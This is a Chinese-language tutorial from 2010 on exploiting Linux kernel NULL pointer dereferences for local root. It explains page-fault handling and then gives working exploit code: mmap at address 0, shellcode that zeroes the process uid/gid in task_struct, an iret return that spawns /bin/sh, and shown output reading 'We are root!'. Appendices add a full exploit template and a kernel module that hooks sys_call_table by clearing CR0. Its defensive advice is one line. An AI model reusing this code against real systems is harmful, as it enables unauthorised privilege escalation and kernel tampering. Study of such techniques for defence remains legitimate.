|
Author: wzt Home: http://hi.baidu.com/wzt85 date: 2010/06/13 Version: 0.3
目录: 1、引言 2、NULL Pointer是如何引发OOPS的 3、如何Exploit 4、攻击实验 5、NULL Pointer与Selinux的关系 6、如何防御NULL Pointer漏洞 7、附录
1、引言 在最近一系列的Linux kernel本地溢出漏洞中, 大部分是由于内核引用一个空指针而引发的, 看NULL Pointers的一个示例: 当内核代码引用一个空指针的时候, 内核打印如下OOPS信息, 并死机:
Kernel NULL pointer dereference test. BUG: unable to handle kernel NULL pointer dereference at virtual address 00000000 printing eip: 00000000 *pde = 00000000 Oops: 0000 [#5] SMP Modules linked in: sys autofs4 ip_conntrack_netbios_ns ipt_REJECT xt_state ip_conntrack nfnetlink xt_tcpudp iptable_filter ip_tables x_tables dm_multipath video sbs i2c_ec button battery asus_acpi ac lp floppy i2c_piix4 i2c_core pcspkr parport_pc parport pcnet32 serio_raw mii ide_cd cdrom dm_snapshot dm_zero dm_mirror dm_mod ext3 jbd mbcache CPU: 1 EIP: 0060:[<00000000>] Not tainted VLI EFLAGS: 00010286 (2.6.18 #34) EIP is at _stext+0x3efffd6c/0x3c eax: 00000029 ebx: f20c85c0 ecx: 00000046 edx: 00000000 esi: 004b5ca0 edi: f20c85c3 ebp: f1afd000 esp: f1afdf9c ds: 007b es: 007b ss: 0068 Process test (pid: 3542, ti=f1afd000 task=dfc3ed70 task.ti=f1afd000) Stack: f8a81197 f8a8131d f8a81315 00000002 f20c85c0 bfbedc2e bfbedc30 c1003d10 bfbedc2e 00000001 bfbedc2e 004b5ca0 bfbedc30 bfbebe38 ffffffda 0000007b c100007b 0000003b 08048454 00000073 00000286 bfbebe24 0000007b 00000000 Call Trace: [<f8a81197>] new_kernel_null_pointer_test+0x69/0x76 [sys] [<c1003d10>] syscall_call+0x7/0xb Code: Bad EIP value. EIP: [<00000000>] _stext+0x3efffd6c/0x3c SS:ESP 0068:f1afdf9c
2、NULL Pointer是如何引发OOPS的
要想exploit这种bug, 就必须先要了解内核是如何处理空指针引用的。 在程序的执行过程中,因为遇到某种障碍而使CPU无法最终访问到相应的物理内存单元,即无法完成从虚拟地址到物理地址映射的时候, CPU 会产生一次缺页异常,从而进行相应的缺页异常处理。 那么都在什么情况下会引发缺页异常呢,我们分别从用户空间和内核空间来看:
用户空间: 1、 进程访问本身地址空间 ---> 访问一个无效的内存地址(如mmap后,又unmap的一块内存)。 ---> 由于用户堆栈用完导致的越界访问(用户进程堆栈空间已被用完, 又有一次函数调用发生,这时push/pusha指令被写到进程的堆中。 ---> 访问一个还未曾映射的空间。 2、进程访问其他进程空间 3、进程通过非系统调用方式访问内核空间。
内核空间: 1、中断程序,不可延迟程序,临界区代码访问用户空间(可能引起休眠)。 2、内核线程访问访问用户空间。(内核线程不能访问用户空间)。 3、内核访问用户空间(通过系统调用进入内核,有进程的上下文current) ---> 访问当前进程空间。内核写一个只读的内存。 ---> 访问其他进程空间。通过系统调用的参数传递到内核空间的,但是线性地址不属于当前进程。 ---> 内核bug或硬件错误访问一个用户空间地址。 如空指针引用bug。 4、访问内核空间。试图写一个没被映射的内核地址。
引起缺页异常可以在用户空间和内核空间中触发, 当CPU捕获到这个异常的时候就会引发一次缺页异常中断。由do_page_fault()函数来 判断和处理这些异常。 我们看下内核是怎么处理引用NULL pointer这个异常的:
fastcall void __kprobes do_page_fault(struct pt_regs *regs, unsigned long error_code) { struct task_struct *tsk; struct mm_struct *mm; struct vm_area_struct * vma; unsigned long address; unsigned long page; int write, si_code;
/* 先通过cr2寄存器得到引发异常的那个线性地址 */ address = read_cr2();
tsk = current;
si_code = SEGV_MAPERR;
/* 接着判断一下这个线性地址是不是发生于内核空间 */ if (unlikely(address >= TASK_SIZE)) { /* 如果是内核引用了一内核空间中一处无效地址,则通过vmalloc_fault进行修复 */ if (!(error_code & 0x0000000d) && vmalloc_fault(address) >= 0) return; if (notify_page_fault(DIE_PAGE_FAULT, "page fault", regs, error_code, 14, SIGSEGV) == NOTIFY_STOP) return; /* 如果不是继续跳转到bad_area_nosemaphore继续分析原因 */ goto bad_area_nosemaphore; }
/* 以下用于处理线性地址处于用户空间的情况, 注意内核和用户程序都有可能引用一个无效的用户地址 */ if (regs->eflags & (X86_EFLAGS_IF|VM_MASK)) local_irq_enable();
mm = tsk->mm;
/* 中断程序,不可延迟程序,临界区代码不能访问用户空间, 跳到bad_area_nosemaphore继续分析原因 */ if (in_atomic() || !mm) goto bad_area_nosemaphore;
if (!down_read_trylock(&mm->mmap_sem)) { /* 内核访问用户空间, 通过系统调用的参数传递到内核空间的,但是线性地址不属于当前进程。*/ if ((error_code & 4) == 0 && !search_exception_tables(regs->eip)) goto bad_area_nosemaphore; down_read(&mm->mmap_sem); } bad_area: up_read(&mm->mmap_sem);
bad_area_nosemaphore: /* User mode accesses just cause a SIGSEGV */ if (error_code & 4) { /* 如果是用户进程访问了其他进程的空间,就杀死当前进程 */ if (is_prefetch(regs, address, error_code)) return;
tsk->thread.cr2 = address; /* Kernel addresses are always protection faults */ tsk->thread.error_code = error_code | (address >= TASK_SIZE); tsk->thread.trap_no = 14; force_sig_info_fault(SIGSEGV, si_code, address, tsk); return; }
/* 如果是由于内核自己访问了用户空间的无效地址,则就会引发OOPS, if (oops_may_print()) { /* 如果这个地址小于PAGE_SIZE, 一般为4096字节,内核就认为这是一次空指针操作, 开始打印OOPS信息,杀死当前进程 */ if (address < PAGE_SIZE) printk(KERN_ALERT "BUG: unable to handle kernel NULL " "pointer dereference"); else printk(KERN_ALERT "BUG: unable to handle kernel paging" " request"); printk(" at virtual address %08lx\n",address); printk(KERN_ALERT " printing eip:\n"); printk("%08lx\n", regs->eip); } page = read_cr3(); page = ((unsigned long *) __va(page))[address >> 22]; if (oops_may_print()) printk(KERN_ALERT "*pde = %08lx\n", page);
force_sig_info_fault(SIGBUS, BUS_ADRERR, address, tsk); }
3、如何Exploit 3-1、攻击原理。
在前面我们知道了内核是如何处理一个NULL pointer引用的: eip停止在0x0处, 打印OOPS信息,然后死机。 我们也知道对于黑客来讲 只有在普通权限下能触发的kernel null pointer漏洞才是有用的,可以帮助黑客有机会提升进程权限。OK, 既然发生OOPS的时候eip停留在 内存0x0地址上, 那么用户进程只要能把shellcode放置在内存0地址上,并且kernel可以去运行用户进程的shellcode而不崩溃,那么就达到了 提权权限的目的。
3-2、将代码映射到0地址内存。 Linux系统提供了一个系统调用mmap, 可以通过建立匿名映射配合MAP_FIXED标志将用户空间代码映射到内存0地址。 mmap(0x0, 0x1000, PROT_READ | PROT_WRITE| PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 我们看看内核是怎么实现的: asmlinkage long sys_mmap2(unsigned long addr, unsigned long len, unsigned long prot, unsigned long flags, unsigned long fd, unsigned long pgoff) { int error = -EBADF; struct file *file = NULL; struct mm_struct *mm = current->mm;
flags &= ~(MAP_EXECUTABLE | MAP_DENYWRITE); /* 注意到如果没设置MAP_ANONYMOUS属性, 就要根据fd来获得文件file指针, 攻击程序设置了MAP_ANONYMOUS,并把fd,offset都设为0 来建立一次匿名映射 */ if (!(flags & MAP_ANONYMOUS)) { file = fget(fd); if (!file) goto out; }
down_write(&mm->mmap_sem); /* do_mmap_pgoff才是映射的主体 */ error = do_mmap_pgoff(file, addr, len, prot, flags, pgoff); up_write(&mm->mmap_sem);
if (file) fput(file); out: return error; }
我们从此处只关心建立匿名映射的过程: unsigned long do_mmap_pgoff(struct file * file, unsigned long addr, unsigned long len, unsigned long prot, unsigned long flags, unsigned long pgoff) { ... /* 用来验证和找到一个可以映射参数addr的内存地址 */ addr = get_unmapped_area_prot(file, addr, len, pgoff, flags, prot & PROT_EXEC); ... }
get_unmapped_area_prot(struct file *file, unsigned long addr, unsigned long len, unsigned long pgoff, unsigned long flags, int exec) { ... /* 如果没设置MAP_FIXED选项,就要从进程地址1G以上的空间中选取一块未用内存进行映射 */ if (!(flags & MAP_FIXED)) { unsigned long (*get_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
if (exec && current->mm->get_unmapped_exec_area) get_area = current->mm->get_unmapped_exec_area; else get_area = current->mm->get_unmapped_area;
if (file && file->f_op && file->f_op->get_unmapped_area) get_area = file->f_op->get_unmapped_area; addr = get_area(file, addr, len, pgoff, flags); if (IS_ERR_VALUE(addr)) return addr; } ... } 所以通过以上对内核代码的分析,我们可以用MAP_ANONYMOUS和MAP_FIXED参数来把用户代码映射到0内存处。
3-3、内核为什么可以运行用户空间映射来的代码
0地址上的代码是由用户自己通过mmap映射的, 当用户进程去触发这个kernel bug的时候,是通过系统调用进入内核空间,内核通过进程上下文current 代表进程继续执行, 当eip执行到了一个0x0地址时,它开始执行用户空间映射过来的代码, 由于有进程上下文,又是在内核态, 所以可以修改当前 进程的任何信息包括内核其他代码。
3-4、如何写shellcode 我们最主要的目的是当内核引用一个NULL Pointer的时候去执行我们的shellcode, 此时是内核来执行shellcode, 所以shellcode可以修改当前 进程current的uid, gid字段使其变为0, 从而使当前进程获得root权限,然后在系统调用完成返回用户空间的时候执行一个bash, 来获得可爱的#字符。 在用mmap完成映射的时候,要将shellcode放置在内存0x0处: *(char *)0 = '\x90'; *(char *)1 = '\xe9'; *(unsigned long *)2 = (unsigned long)&kernel_code - 6;
即为:NOP+JMP+KERNEL_CODE。 *(unsigned long *)2为什么要设置为kernel_code - 6呢? jmp指令后面跟的是偏移地址, 为kernel_code减去jmp指令的下一条指令的地址。 由于是从0x0地址开始算偏移的nop, jmp本身各占一个字节,在加上 偏移地址占用的4个字节, 1+1+4 = 6。 kernel_code才是真正的shellcode, 我们的目的是修改current的uid,gid为0, 所以可以在获得current指针后,暴力搜索current结构,匹配 用户进程的uid和gid,发现后将其改为0,即可。
struct task_struct { …… /* process credentials */ uid_t uid,euid,suid,fsuid; gid_t gid,egid,sgid,fsgid; …… }
void kernel_code() { int i; uint *p = get_current(); // 获得当前进程的current指针。
for (i = 0; i < 1024-13; i++) { /* 暴力搜索uid, euid,suid,fsuid, gid, egid, sgid,fsgid */ if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { p[0] = p[1] = p[2] = p[3] = 0; p[4] = p[5] = p[6] = p[7] = 0; p = (uint *) ((char *)(p + 8) + sizeof(void *)); p[0] = p[1] = p[2] = ~0; break; } p++; } // 重新更新堆栈中寄存器值。 替内核执行iret指令, 结束系统调用返回用户空间。 exit_kernel(); }
// 获得当前内核的current指针, 跟内核的实现方式一样 static inline __attribute__((always_inline)) void *get_current() { unsigned long curr; __asm__ __volatile__ ( "movl %%esp, %%eax ;" "andl %1, %%eax ;" "movl (%%eax), %0" : "=r" (curr) : "i" (~8191) ); return (void *) curr; }
// 当发生系统调用中断的时候, 还没进入系统调用服务历程的时候,CPU是自动把user cs, ip, cflags, user ess, xx压入内核堆栈, 当执行iret返回用户空间的时候将其pop出来, 使得用户程序得以继续运行。exit_kernel要做的就是修改当前堆栈,重新设置用户空间的 cs值为用户空间的值, eip值为exit_code, 当内核回到用户空间的时候就会去执行exit_code, exit_code通常只要执行一个bash即可。 static inline __attribute__((always_inline)) void exit_kernel() { __asm__ __volatile__ ( "movl %0, 0x10(%%esp) ;" "movl %1, 0x0c(%%esp) ;" "movl %2, 0x08(%%esp) ;" "movl %3, 0x04(%%esp) ;" "movl %4, 0x00(%%esp) ;" "iret" : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), "i" (USER_CS), "r" (exit_code) ); }
注意内核执行完exit_kernel()函数后, 当前进程就以从内核空间切回到用户空间了, 此时进程已经具备uid为0的权限,我们的exploit程序 可以随意的调用c库中的任何函数了。 void exit_code() { if (getuid() != 0) { fprintf(stderr, "failed\n"); exit(-1); } printf("[+] We are root!\n"); execl("/bin/sh", "sh", "-i", NULL); }
4、实验 在了解了攻击原理和怎样写shellcode后, 我们开始做实验,验证下我们的想法是不是对的。 这里我故意加载一个有NULL pointer引用的 内核模块, 它给当前系统增加了一个系统调用, 然后我们的用户程序引用这个系统调用的时候, 就会发生一次OOPS:
void (*test)(void) = NULL;
asmlinkage long new_kernel_null_pointer_test(char *buf, int len) { char *buff = NULL; char *p = NULL;
buff = (char *)kmalloc(len + 1, GFP_KERNEL); if (!buff) { printk("kmalloc failed.\n"); return 0; }
if (copy_from_user(buff, buf, len)) { printk("copy data from user failed.\n"); return 0; } buff[len + 1] = '\0'; printk("%d: %s\n", strlen(buff), buff);
printk("Kernel NULL pointer dereference test.\n"); test();
return 1; }
先装入模块 [root@localhost test]# insmod /root/exploit/module/sys.ko 然后运行exploit程序: int main(void) { void *page;
uid = getuid(); gid = getgid();
setresuid(uid, uid, uid); setresgid(gid, gid, gid);
if ((personality(0xffffffff)) != PER_SVR4) { if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS| MAP_PRIVATE, 0, 0)) == MAP_FAILED) { perror("mmap"); return -1; } } else { if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) { perror("mprotect"); return -1; } } printf("[+] Mmap zero memory ok.\n");
*(char *)0 = '\x90'; *(char *)1 = '\xe9'; *(unsigned long *)2 = (unsigned long)&kernel_code - 6;
new_kernel_null_pointer_test("abcd", 4); } [wzt@localhost ~]$./exp [+] Mmap zero memory ok. [+] We are root! sh-3.2# 看到可爱的#号了吧, 我们成功了!
5、NULL Pointer与Selinux的关系 略过
6、如何防御Kernel NULL Pointer 0day攻击 /proc/sys/vm/mmap_min_addr设置为大于4096的值或者关闭selinux.
7. 附录 7-1. hook examle #include <linux/init.h> #include <linux/module.h> #include <linux/version.h> #include <linux/kernel.h> #include <linux/spinlock.h> #include <linux/smp_lock.h> #include <linux/fs.h> #include <linux/file.h> #include <linux/dirent.h> #include <linux/string.h> #include <linux/unistd.h> #include <linux/socket.h> #include <linux/net.h> #include <linux/tty.h> #include <linux/tty_driver.h> #include <net/sock.h> #include <asm/uaccess.h> #include <asm/unistd.h> #include <asm/siginfo.h>
#include "hook.h"
unsigned int system_call_addr = 0; unsigned int sys_call_table_addr = 0; spinlock_t tty_sniff_lock = SPIN_LOCK_UNLOCKED;
asmlinkage int (*orig_printk)(const char *fmt, ...); void (*test)(void) = NULL;
unsigned int get_sct_addr(void) { int i = 0, ret = 0;
for (; i < 500; i++) { if ((*(unsigned char*)(system_call_addr + i) == 0xff) && (*(unsigned char *)(system_call_addr + i + 1) == 0x14) && (*(unsigned char *)(system_call_addr + i + 2) == 0x85)) { ret = *(unsigned int *)(system_call_addr + i + 3); break; } }
return ret; }
asmlinkage long new_kernel_null_pointer_test(char *buf, int len) { char *buff = NULL; char *p = NULL;
buff = (char *)kmalloc(len + 1, GFP_KERNEL); if (!buff) { printk("kmalloc failed.\n"); return 0; }
if (copy_from_user(buff, buf, len)) { printk("copy data from user failed.\n"); return 0; } buff[len + 1] = '\0'; printk("%d: %s\n", strlen(buff), buff);
printk("Kernel NULL pointer dereference test.\n"); test();
return 1; }
static int hook_init(void) { struct descriptor_idt *pIdt80;
__asm__ volatile ("sidt %0": "=m" (idt48));
pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);
system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low); if (!system_call_addr) { DbgPrint("oh, shit! can't find system_call address.\n"); return 0; } DbgPrint(KERN_ALERT "system_call addr : 0x%8x\n",system_call_addr);
sys_call_table_addr = get_sct_addr(); if (!sys_call_table_addr) { DbgPrint("oh, shit! can't find sys_call_table address.\n"); return 0; } DbgPrint(KERN_ALERT "sys_call_table addr : 0x%8x\n",sys_call_table_addr);
sys_call_table = (void **)sys_call_table_addr;
lock_kernel(); CLEAR_CR0 sys_call_table[59] = new_kernel_null_pointer_test; SET_CR0 unlock_kernel();
printk("install hook ok.\n"); }
static void hook_exit(void) { lock_kernel(); CLEAR_CR0
SET_CR0 unlock_kernel();
DbgPrint("uninstall hook ok.\n"); }
module_init(hook_init); module_exit(hook_exit);
MODULE_LICENSE("GPL"); MODULE_AUTHOR("wzt");
7-2. kernel null pointer攻击模板。 #include <stdio.h> #include <sys/socket.h> #include <sys/user.h> #include <sys/types.h> #include <sys/wait.h> #include <inttypes.h> #include <sys/reg.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <sys/personality.h> #include "syscalls.h"
static unsigned int uid, gid;
#define USER_CS 0x73 #define USER_SS 0x7b #define USER_FL 0x246 #define STACK(x) (x + sizeof(x) - 40)
void exit_code(); char exit_stack[1024 * 1024];
int (*kernel_printk)(const char *fmt, ...);
#define __NR_new_kernel_null_pointer_test 59
static inline my_syscall2(long, new_kernel_null_pointer_test, char *, buff, int, len); int errno;
static inline __attribute__((always_inline)) void *get_current() { unsigned long curr; __asm__ __volatile__ ( "movl %%esp, %%eax ;" "andl %1, %%eax ;" "movl (%%eax), %0" : "=r" (curr) : "i" (~8191) ); return (void *) curr; }
static inline __attribute__((always_inline)) void exit_kernel() { __asm__ __volatile__ ( "movl %0, 0x10(%%esp) ;" "movl %1, 0x0c(%%esp) ;" "movl %2, 0x08(%%esp) ;" "movl %3, 0x04(%%esp) ;" "movl %4, 0x00(%%esp) ;" "iret" : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), "i" (USER_CS), "r" (exit_code) ); }
void kernel_code() { int i; uint *p = get_current();
for (i = 0; i < 1024-13; i++) { if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { p[0] = p[1] = p[2] = p[3] = 0; p[4] = p[5] = p[6] = p[7] = 0; p = (uint *) ((char *)(p + 8) + sizeof(void *)); p[0] = p[1] = p[2] = ~0; break; } p++; }
exit_kernel(); }
void exit_code() { if (getuid() != 0) { fprintf(stderr, "failed\n"); exit(-1); } printf("[+] We are root!\n"); execl("/bin/sh", "sh", "-i", NULL); }
void test_code(void) { kernel_printk = 0xc0424ae3;
kernel_printk("We are in kernel.\n"); }
int main(void) { void *page;
uid = getuid(); gid = getgid();
setresuid(uid, uid, uid); setresgid(gid, gid, gid);
if ((personality(0xffffffff)) != PER_SVR4) { if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS| MAP_PRIVATE, 0, 0)) == MAP_FAILED) { perror("mmap"); return -1; } } else { //if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) { if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE ) < 0) { perror("mprotect"); return -1; } } printf("[+] Mmap zero memory ok.\n");
*(char *)0 = '\x90'; *(char *)1 = '\xe9'; *(unsigned long *)2 = (unsigned long)&kernel_code - 6;
new_kernel_null_pointer_test("abcd", 4); }
|
|
|